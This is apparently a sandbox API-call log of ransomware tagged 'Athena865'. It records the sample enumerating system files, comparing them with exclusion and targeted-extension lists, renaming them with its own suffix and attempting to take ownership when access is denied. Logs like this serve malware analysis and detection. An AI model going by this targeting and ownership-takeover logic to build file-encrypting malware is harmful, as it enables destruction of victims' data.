FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa1602bc0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1df454b0, ftLastWriteTime.dwHighDateTime=0x1d33741, nFileSizeHigh=0x0, nFileSizeLow=0x6dfff000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{B426F~2")) returned 1 [0035.498] lstrcmpiW (lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.498] lstrcmpiW (lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.498] lstrcmpiW (lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.498] lstrcmpiW (lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.498] lstrcmpiW (lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.498] lstrcmpiW (lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.498] lstrcmpiW (lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.498] lstrcmpiW (lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.498] lstrcmpiW (lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.498] lstrcmpiW (lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.498] lstrcmpiW (lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.498] lstrcmpiW (lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.498] lstrcmpiW (lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.498] lstrlenW (lpString="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.498] lstrcpyW (in: lpString1=0x241e882, lpString2="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.498] lstrlenW (lpString="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.498] lstrlenW (lpString="Athena865") returned 9 [0035.498] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.498] lstrlenW (lpString=".dll") returned 4 [0035.498] lstrcmpiW (lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.498] lstrlenW (lpString=".lnk") returned 4 [0035.498] lstrcmpiW (lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.498] lstrlenW (lpString=".ini") returned 4 [0035.498] lstrcmpiW (lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.498] lstrlenW (lpString=".sys") returned 4 [0035.498] lstrcmpiW (lpString1="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.498] lstrlenW (lpString="{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.498] lstrlenW (lpString="bak") returned 3 [0035.498] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.498] lstrlenW (lpString="ba_") returned 3 [0035.499] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.499] lstrlenW (lpString="dbb") returned 3 [0035.499] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.499] lstrlenW (lpString="vmdk") returned 4 [0035.499] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.499] lstrlenW (lpString="rar") returned 3 [0035.499] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.499] lstrlenW (lpString="zip") returned 3 [0035.499] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.499] lstrlenW (lpString="tgz") returned 3 [0035.499] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.499] lstrlenW (lpString="vbox") returned 4 [0035.499] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.499] lstrlenW (lpString="vdi") returned 3 [0035.499] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.499] lstrlenW (lpString="vhd") returned 3 [0035.499] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.499] lstrlenW (lpString="vhdx") returned 4 [0035.499] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.499] lstrlenW (lpString="avhd") returned 4 [0035.499] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.499] lstrlenW (lpString="db") returned 2 [0035.499] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.499] lstrlenW (lpString="db2") returned 3 [0035.499] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.499] lstrlenW (lpString="db3") returned 3 [0035.499] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.499] lstrlenW (lpString="dbf") returned 3 [0035.499] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.499] lstrlenW (lpString="mdf") returned 3 [0035.499] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.499] lstrlenW (lpString="mdb") returned 3 [0035.499] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.499] lstrlenW (lpString="sql") returned 3 [0035.499] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.499] lstrlenW (lpString="sqlite") returned 6 [0035.499] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.499] lstrlenW (lpString="sqlite3") returned 7 [0035.499] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.499] lstrlenW (lpString="sqlitedb") returned 8 [0035.500] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.500] lstrlenW (lpString="xml") returned 3 [0035.500] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.500] lstrlenW (lpString="$er") returned 3 [0035.500] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.500] lstrlenW (lpString="4dd") returned 3 [0035.500] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.500] lstrlenW (lpString="4dl") returned 3 [0035.500] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.500] lstrlenW (lpString="^^^") returned 3 [0035.500] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.500] lstrlenW (lpString="abs") returned 3 [0035.500] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.500] lstrlenW (lpString="abx") returned 3 [0035.500] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.500] lstrlenW (lpString="accdb") returned 5 [0035.500] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.500] lstrlenW (lpString="accdc") returned 5 [0035.500] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.500] lstrlenW (lpString="accde") returned 5 [0035.500] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.500] lstrlenW (lpString="accdr") returned 5 [0035.500] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.500] lstrlenW (lpString="accdt") returned 5 [0035.500] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.500] lstrlenW (lpString="accdw") returned 5 [0035.500] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.500] lstrlenW (lpString="accft") returned 5 [0035.500] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.500] lstrlenW (lpString="adb") returned 3 [0035.500] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.500] lstrlenW (lpString="adb") returned 3 [0035.500] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.500] lstrlenW (lpString="ade") returned 3 [0035.500] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.500] lstrlenW (lpString="adf") returned 3 [0035.500] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.500] lstrlenW (lpString="adn") returned 3 [0035.500] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.500] lstrlenW (lpString="adp") returned 3 [0035.500] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.501] lstrlenW (lpString="alf") returned 3 [0035.501] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.501] lstrlenW (lpString="ask") returned 3 [0035.501] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.501] lstrlenW (lpString="btr") returned 3 [0035.501] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.501] lstrlenW (lpString="cat") returned 3 [0035.501] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.501] lstrlenW (lpString="cdb") returned 3 [0035.501] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.501] lstrlenW (lpString="ckp") returned 3 [0035.501] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.501] lstrlenW (lpString="cma") returned 3 [0035.501] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.501] lstrlenW (lpString="cpd") returned 3 [0035.501] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.501] lstrlenW (lpString="dacpac") returned 6 [0035.501] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.501] lstrlenW (lpString="dad") returned 3 [0035.501] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.501] lstrlenW (lpString="dadiagrams") returned 10 [0035.501] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.501] lstrlenW (lpString="daschema") returned 8 [0035.501] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.501] lstrlenW (lpString="db-journal") returned 10 [0035.501] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.501] lstrlenW (lpString="db-shm") returned 6 [0035.501] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.501] lstrlenW (lpString="db-wal") returned 6 [0035.501] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.501] lstrlenW (lpString="dbc") returned 3 [0035.501] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.501] lstrlenW (lpString="dbs") returned 3 [0035.501] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.501] lstrlenW (lpString="dbt") returned 3 [0035.501] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.501] lstrlenW (lpString="dbv") returned 3 [0035.501] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.501] lstrlenW (lpString="dbx") returned 3 [0035.501] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.501] lstrlenW (lpString="dcb") returned 3 [0035.501] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.502] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.502] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.502] GetLastError () returned 0x5 [0035.502] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.502] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.502] SetEntriesInAclW () returned 0x0 [0035.502] SetNamedSecurityInfoW () returned 0x5 [0035.502] SetNamedSecurityInfoW () returned 0x5 [0035.502] LocalFree (hMem=0x529490) returned 0x0 [0035.502] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.502] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{b426f674-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.502] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.502] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfb2 [0035.502] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.502] CloseHandle (hObject=0x154) returned 1 [0035.503] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.503] CloseHandle (hObject=0x0) returned 0 [0035.503] CloseHandle (hObject=0x0) returned 0 [0035.503] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa574db90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa574db90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xb5d71250, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x24d8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{B8DAA~1")) returned 1 [0035.503] lstrcmpiW (lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.503] lstrcmpiW (lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.503] lstrcmpiW (lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.503] lstrcmpiW (lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.503] lstrcmpiW (lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.503] lstrcmpiW (lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.503] lstrcmpiW (lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.503] lstrcmpiW (lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.503] lstrcmpiW (lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.503] lstrcmpiW (lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.503] lstrcmpiW (lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.503] lstrcmpiW (lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.503] lstrcmpiW (lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.503] lstrlenW (lpString="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.504] lstrcpyW (in: lpString1=0x241e882, lpString2="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.504] lstrlenW (lpString="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.504] lstrlenW (lpString="Athena865") returned 9 [0035.504] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.504] lstrlenW (lpString=".dll") returned 4 [0035.504] lstrcmpiW (lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.504] lstrlenW (lpString=".lnk") returned 4 [0035.504] lstrcmpiW (lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.504] lstrlenW (lpString=".ini") returned 4 [0035.504] lstrcmpiW (lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.504] lstrlenW (lpString=".sys") returned 4 [0035.504] lstrcmpiW (lpString1="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.504] lstrlenW (lpString="{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.504] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.504] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.504] GetLastError () returned 0x5 [0035.504] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.504] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.504] SetEntriesInAclW () returned 0x0 [0035.504] SetNamedSecurityInfoW () returned 0x5 [0035.504] SetNamedSecurityInfoW () returned 0x5 [0035.504] LocalFree (hMem=0x529490) returned 0x0 [0035.504] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.504] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{b8daad5a-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.504] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.505] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1046 [0035.505] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.505] CloseHandle (hObject=0x154) returned 1 [0035.505] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.505] CloseHandle (hObject=0x0) returned 0 [0035.505] CloseHandle (hObject=0x0) returned 0 [0035.505] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xb29f7690, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb29f7690, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xc2d6d490, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x2db4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{B8DAA~2")) returned 1 [0035.505] lstrcmpiW (lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.505] lstrcmpiW (lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.505] lstrcmpiW (lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.505] lstrcmpiW (lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.505] lstrcmpiW (lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.506] lstrcmpiW (lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.506] lstrcmpiW (lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.506] lstrcmpiW (lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.506] lstrcmpiW (lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.506] lstrcmpiW (lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.506] lstrcmpiW (lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.506] lstrcmpiW (lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.506] lstrcmpiW (lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.506] lstrlenW (lpString="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.506] lstrcpyW (in: lpString1=0x241e882, lpString2="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.506] lstrlenW (lpString="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.506] lstrlenW 